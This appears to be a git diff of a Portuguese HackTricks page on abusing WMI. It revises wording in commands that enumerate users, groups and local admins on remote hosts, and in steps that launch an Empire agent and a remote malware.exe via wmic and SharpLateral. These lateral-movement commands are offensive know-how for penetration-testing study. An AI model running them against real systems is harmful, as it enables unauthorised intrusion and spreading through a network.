Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
|
||||
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
|
||||
```
|
||||
Chame uma classe:
|
||||
Chamar uma classe:
|
||||
```bash
|
||||
#When you don't specify a namespaces by default is "root/cimv2"
|
||||
Get-WmiObject -Class win32_share
|
||||
|
@ -59,7 +55,7 @@ Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpCompute
|
|||
```
|
||||
### Métodos
|
||||
|
||||
As classes WMI possuem uma ou mais funções que podem ser executadas. Essas funções são chamadas de métodos.
|
||||
Classes WMI possuem uma ou mais funções que podem ser executadas. Essas funções são chamadas de métodos.
|
||||
```bash
|
||||
#Load a class using [wmiclass], leist methods and call one
|
||||
$c = [wmiclass]"win32_share"
|
||||
|
@ -77,9 +73,9 @@ Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Descrip
|
|||
```
|
||||
## Enumeração WMI
|
||||
|
||||
### Verificar o serviço WMI
|
||||
### Verificar serviço WMI
|
||||
|
||||
Assim é possível verificar se o serviço WMI está em execução:
|
||||
Assim você pode verificar se o serviço WMI está em execução:
|
||||
```bash
|
||||
#Check if WMI service is running
|
||||
Get-Service Winmgmt
|
||||
|
@ -94,57 +90,65 @@ net start | findstr "Instrumentation"
|
|||
```bash
|
||||
Get-WmiObject -ClassName win32_operatingsystem | select * | more
|
||||
```
|
||||
### Informação do Processo
|
||||
### Informações do Processo
|
||||
```bash
|
||||
Get-WmiObject win32_process | Select Name, Processid
|
||||
```
|
||||
Do ponto de vista de um atacante, o WMI pode ser muito valioso para enumerar informações sensíveis sobre um sistema ou domínio.
|
||||
Do ponto de vista de um atacante, o WMI pode ser muito valioso para enumerar informações sensíveis sobre um sistema ou o domínio.
|
||||
```
|
||||
wmic computerystem list full /format:list
|
||||
wmic process list /format:list
|
||||
wmic ntdomain list /format:list
|
||||
wmic useraccount list /format:list
|
||||
wmic group list /format:list
|
||||
wmic sysaccount list /format:list
|
||||
wmic computerystem list full /format:list
|
||||
wmic process list /format:list
|
||||
wmic ntdomain list /format:list
|
||||
wmic useraccount list /format:list
|
||||
wmic group list /format:list
|
||||
wmic sysaccount list /format:list
|
||||
```
|
||||
|
||||
```bash
|
||||
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
|
||||
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
|
||||
```
|
||||
## **Consulta Remota Manual do WMI**
|
||||
## **Consulta Remota Manual de WMI**
|
||||
|
||||
Por exemplo, aqui está uma maneira muito furtiva de descobrir administradores locais em uma máquina remota (observe que o domínio é o nome do computador):
|
||||
Por exemplo, aqui está uma maneira muito discreta de descobrir administradores locais em uma máquina remota (observe que domínio é o nome do computador):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
|
||||
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
|
||||
```
|
||||
Outro comando útil em uma linha é ver quem está conectado em uma máquina (quando você está procurando por administradores):
|
||||
```
|
||||
wmic /node:ordws01 path win32_loggedonuser get antecedent
|
||||
```
|
||||
O `wmic` pode até mesmo ler nós de um arquivo de texto e executar o comando em todos eles. Se você tiver um arquivo de texto com estações de trabalho:
|
||||
```
|
||||
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
|
||||
```
|
||||
Vamos criar remotamente um processo via WMI para executar um agente do Empire:
|
||||
{% endcode %}
|
||||
|
||||
Outro oneliner útil é para ver quem está logado em uma máquina (quando você está caçando administradores):
|
||||
```bash
|
||||
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
|
||||
wmic /node:ordws01 path win32_loggedonuser get antecedent
|
||||
```
|
||||
Vemos que foi executado com sucesso (Valor de Retorno = 0). E um segundo depois, nosso ouvinte Empire o captura. Note que o ID do processo é o mesmo que o WMI retornou.
|
||||
`wmic` pode até ler nós de um arquivo de texto e executar o comando em todos eles. Se você tem um arquivo de texto de estações de trabalho:
|
||||
```
|
||||
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
|
||||
```
|
||||
**Vamos criar remotamente um processo via WMI para executar um agente do Empire:**
|
||||
```bash
|
||||
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
|
||||
```
|
||||
Vemos que foi executado com sucesso (ReturnValue = 0). E um segundo depois, nosso listener do Empire o captura. Note que o ID do processo é o mesmo que o WMI retornou.
|
||||
|
||||
Todas essas informações foram extraídas daqui: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## Ferramentas Automáticas
|
||||
|
||||
* [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue